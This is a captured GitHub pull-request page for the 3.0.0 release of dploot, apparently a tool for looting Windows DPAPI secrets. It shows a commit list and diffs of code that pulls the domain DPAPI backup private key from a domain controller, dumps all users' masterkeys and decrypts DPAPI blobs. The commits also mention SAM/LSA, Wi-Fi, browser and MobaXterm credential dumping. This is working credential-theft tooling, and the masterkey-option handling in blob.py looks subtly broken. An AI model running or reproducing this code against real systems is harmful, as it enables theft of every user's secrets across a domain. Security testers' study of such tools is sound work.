Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

3.0.0 Release #25

Merged
merged 55 commits into from
Jul 31, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
55 commits
Select commit Hold shift + click to select a range
3d835fa
add LOCAL target. machinecertificates working with LOCAL
DidierA May 31, 2024
3bb519b
machinemasterkeys: add dump of SAM and LSA secrets
DidierA May 31, 2024
f4a5b8a
mobaxterm working with LOCAL
DidierA Jun 1, 2024
755fd15
Remodel class hierarchy to be more factory like
DidierA Jun 3, 2024
01f6f37
Handle file exceptions in local mode, and add debug info in remote mode
DidierA Jun 3, 2024
bcc60e3
backupkey: add error message when target is LOCAL
DidierA Jun 3, 2024
adafec0
mobaxterm: try harder to get NTUSER.DAT
DidierA Jun 4, 2024
664c118
sccm: add debug of binary value. I suspect utf-16le should be used in…
DidierA Jun 4, 2024
3d42cdd
vault: more resilient to errors
DidierA Jun 4, 2024
4bd2136
sccm: bugfix and remove duplicates
DidierA Jun 10, 2024
ab9ae18
certificates: continue on exception
DidierA Jun 10, 2024
5d44dd3
decrypt WIFI EAP credentials
DidierA Jun 18, 2024
3d6e164
dpapi.decrypt() enhancement: correct toSign length calculation to han…
DidierA Jun 18, 2024
ff3fc2f
sccm: factorize and handle decode errors
DidierA Jun 19, 2024
3080c90
add LOCAL documentation
DidierA Jun 20, 2024
fbd320c
fix f-string which was only compatible with python 3.12
DidierA Jun 20, 2024
a688449
mobaxterm: fix for LOCAL mode and username decoding
DidierA Jun 24, 2024
b3f2f29
fix errors when none instead of strings
zblurx Jul 17, 2024
acb0a43
Merge branch 'local_smb' of github.com:DidierA/dploot into DidierA-lo…
zblurx Jul 17, 2024
6b66ffb
Merge branch 'DidierA-local_smb' into develop
zblurx Jul 17, 2024
1a78aa9
wifi EAP: encoding error (#21)
DidierA Jul 18, 2024
a9116c6
add possibility to bypass shared violation error
zblurx Jul 18, 2024
47e4bf3
add explicit target flag
zblurx Jul 18, 2024
dea2fb8
Merge branch 'develop' of github.com:zblurx/dploot into develop
zblurx Jul 18, 2024
67d08ba
kill browser functionnality
zblurx Jul 18, 2024
f641f89
replace copy by esentutl in shared violation bypass
zblurx Jul 18, 2024
68cce7a
printing certificates by callback
zblurx Jul 18, 2024
73bc58f
add callback functions for browsers + fix grt
zblurx Jul 18, 2024
7679423
added callback
zblurx Jul 19, 2024
3ecd9f4
added ruff lint
zblurx Jul 19, 2024
c7ae9db
added proper looted_files use
zblurx Jul 19, 2024
ef051a8
wifi : fix cred dump (#23)
DidierA Jul 28, 2024
36bbf8c
Merge branch 'main' into develop
zblurx Jul 28, 2024
ddb500f
fix target option (#24)
DidierA Jul 28, 2024
5d0878f
wam dump
zblurx Jul 29, 2024
5d6c6c5
Merge branch 'develop' of github.com:zblurx/dploot into develop
zblurx Jul 29, 2024
fae9489
mobaxterm parse local config files
zblurx Jul 30, 2024
016d911
Fix mobaxterm (#22)
DidierA Jul 30, 2024
db346ab
update output decoding
zblurx Jul 30, 2024
085f57c
Merge branch 'develop' of github.com:zblurx/dploot into develop
zblurx Jul 30, 2024
3c8daa3
update message output
zblurx Jul 30, 2024
fe6092e
update readme
zblurx Jul 30, 2024
4359c3b
ruff fix
zblurx Jul 30, 2024
11b5a06
added hash generation
zblurx Jul 30, 2024
7207a4c
update readme
zblurx Jul 30, 2024
79a8106
bump version
zblurx Jul 30, 2024
7cb6957
update readme
zblurx Jul 30, 2024
5a4fcbb
update masterkeys.py
zblurx Jul 30, 2024
984d4c6
update readme
zblurx Jul 30, 2024
6ad4e11
add blob action
zblurx Jul 31, 2024
6864f3d
allow user to specify dpapi_system_key
zblurx Jul 31, 2024
96788b9
update readme
zblurx Jul 31, 2024
3512fba
update readme
zblurx Jul 31, 2024
00fc494
update readme
zblurx Jul 31, 2024
facd29d
fix machinetriage and credentials
zblurx Jul 31, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
182 changes: 133 additions & 49 deletions README.md

Large diffs are not rendered by default.

53 changes: 32 additions & 21 deletions dploot/action/backupkey.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,50 +8,65 @@
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.backupkey import BackupkeyTriage

NAME = 'backupkey'
NAME = "backupkey"


class BackupkeyAction:

def __init__(self, options: argparse.Namespace) -> None:
self.options = options
self.target = Target.from_options(options)

self.conn = None
self._is_admin = None
self.dce = None
self.outputfile = None
self.legacy = self.options.legacy

if self.options.outputfile is not None and self.options.outputfile != '':
if self.options.outputfile is not None and self.options.outputfile != "":
self.outputfile = self.options.outputfile
else:
self.outputfile = 'key.pvk'
self.outputfile = "key.pvk"

def connect(self) -> None:
self.conn = DPLootSMBConnection(self.target)
if self.conn.connect() is None:
logging.error("Could not connect to %s" % self.target.address)
sys.exit(1)
if self.conn.local_session:
logging.error("Backup key is not implemented with LOCAL target.")
sys.exit(1)

def run(self) -> None:
self.connect()
logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
logging.info(
"Connected to {} as {}\\{} {}\n".format(
self.target.address,
self.target.domain,
self.target.username,
("(admin)" if self.is_admin else ""),
)
)
triage = BackupkeyTriage(target=self.target, conn=self.conn)
backupkey = triage.triage_backupkey()
if backupkey.backupkey_v1 is not None and self.legacy:
if not self.options.quiet:
print("Legacy key:")
print("0x%s" % hexlify(backupkey.backupkey_v1).decode('latin-1'))
print("0x%s" % hexlify(backupkey.backupkey_v1).decode("latin-1"))
print("\n")
logging.info("Exporting key to file {}".format(self.outputfile + ".key"))
open(self.outputfile + ".key", 'wb').write(backupkey.backupkey_v1)
logging.info("Exporting key to file {}".format(self.outputfile + ".key"))
open(self.outputfile + ".key", "wb").write(backupkey.backupkey_v1)
if not self.options.quiet:
print("[DOMAIN BACKUPKEY V2]")
backupkey.pvk_header.dump()
print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey.backupkey_v2).decode('latin-1')))
print(
"PRIVATEKEYBLOB:{%s}"
% (hexlify(backupkey.backupkey_v2).decode("latin-1"))
)
print("\n")
logging.critical("Exporting domain backupkey to file {}".format(self.outputfile ))
open(self.outputfile, 'wb').write(backupkey.backupkey_v2)
logging.critical(
f"Exporting domain backupkey to file {self.outputfile}"
)
open(self.outputfile, "wb").write(backupkey.backupkey_v2)

@property
def is_admin(self) -> bool:
Expand All @@ -61,10 +76,12 @@ def is_admin(self) -> bool:
self._is_admin = self.conn.is_admin()
return self._is_admin


def entry(options: argparse.Namespace) -> None:
a = BackupkeyAction(options)
a.run()


def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
subparser = subparsers.add_parser(NAME, help="Backup Keys from domain controller")

Expand All @@ -73,19 +90,13 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable
group.add_argument(
"-outputfile",
action="store",
help=(
"Export keys to specific filename (default key.pvk)"
),
help=("Export keys to specific filename (default key.pvk)"),
)

group.add_argument(
'-legacy',
action='store_true',
help=(
"Get also backupkey v1 (legacy)"
)
"-legacy", action="store_true", help=("Get also backupkey v1 (legacy)")
)

add_target_argument_group(subparser)

return NAME, entry
return NAME, entry
167 changes: 167 additions & 0 deletions dploot/action/blob.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
import argparse
import base64
import logging
import os
import sys
from typing import Callable, Tuple
from dploot.action.masterkeys import (
add_masterkeys_argument_group,
parse_masterkeys_options,
)

from impacket.dpapi import DPAPI_BLOB

from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target, add_target_argument_group
from dploot.lib.utils import dump_looted_files_to_disk, find_guid, find_sha1, handle_outputdir_option
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey

NAME = "blob"


class BlobAction:
def __init__(self, options: argparse.Namespace) -> None:
self.options = options
self.target = Target.from_options(options)

self.conn = None
self._is_admin = None
self.outputdir = None
self.masterkeys = None
self.pvkbytes = None
self.passwords = None
self.nthashes = None

if not self.handle_blob_option(self.options.blob):
sys.exit(1)

self.outputdir = handle_outputdir_option(directory=self.options.export_dir)

if self.options.mkfile is not None:
try:
self.masterkeys = parse_masterkey_file(self.options.mkfile)
except Exception as e:
logging.error(str(e))
sys.exit(1)

if self.options.masterkey is not None:
guid, sha1 = self.options.masterkey.split(":")
self.masterkeys[Masterkey(
guid=find_guid(guid),
sha1=find_sha1(sha1),
)]

self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
self.options, self.target
)

def connect(self) -> None:
self.conn = DPLootSMBConnection(self.target)
if self.conn.connect() is None:
logging.error("Could not connect to %s" % self.target.address)
sys.exit(1)

def run(self) -> None:
self.connect()
logging.info(
"Connected to {} as {}\\{} {}\n".format(
self.target.address,
self.target.domain,
self.target.username,
("(admin)" if self.is_admin else ""),
)
)
if self.is_admin:
if self.masterkeys is None:

def masterkey_triage(masterkey):
masterkey.dump()

masterkeytriage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
nthashes=self.nthashes,
passwords=self.passwords,
per_masterkey_callback=masterkey_triage
if not self.options.quiet
else None,
)
logging.info("Triage ALL USERS masterkeys\n")
self.masterkeys = masterkeytriage.triage_masterkeys()
print()
if self.outputdir is not None:
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)

logging.info("Trying to decrypt DPAPI blob\n")
DPAPI_BLOB(self.blob).dump()
masterkey = find_masterkey_for_blob(self.blob, masterkeys=self.masterkeys)
if masterkey is not None:
cleartext = decrypt_blob(blob_bytes=self.blob, masterkey=masterkey, entropy=self.options.entropy if self.options.entropy != "" else None)
print("Data decrypted: %s" % cleartext)
else:
logging.info("Not an admin, exiting...")

@property
def is_admin(self) -> bool:
if self._is_admin is not None:
return self._is_admin

self._is_admin = self.conn.is_admin()
return self._is_admin

def handle_blob_option(self, blob_argument):
if os.path.isfile(blob_argument):
with open(blob_argument, "rb") as f:
self.blob = f.read()
return True
else:
try:
self.blob = base64.b64decode(blob_argument)
return True
except Exception:
logging.error(f"{blob_argument} does not seems to be a file nor a b64 encoded blob.")
return False

def entry(options: argparse.Namespace) -> None:
a = BlobAction(options)
a.run()


def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
subparser = subparsers.add_parser(
NAME, help="Decrypt DPAPI blob. Can fetch masterkeys on target"
)

group = subparser.add_argument_group("vaults options")

group.add_argument(
"-blob",
action="store",
required=True,
help=("Blob base64 encoded or in file"),
)

group.add_argument(
"-masterkey",
action="store",
help=("{GUID}:SHA1 masterkey"),
)

group.add_argument(
"-entropy",
action="store",
help=("Entropy value"),
)

group.add_argument(
"-mkfile",
action="store",
help=("File containing {GUID}:SHA1 masterkeys mappings"),
)

add_masterkeys_argument_group(group)
add_target_argument_group(subparser)

return NAME, entry
Loading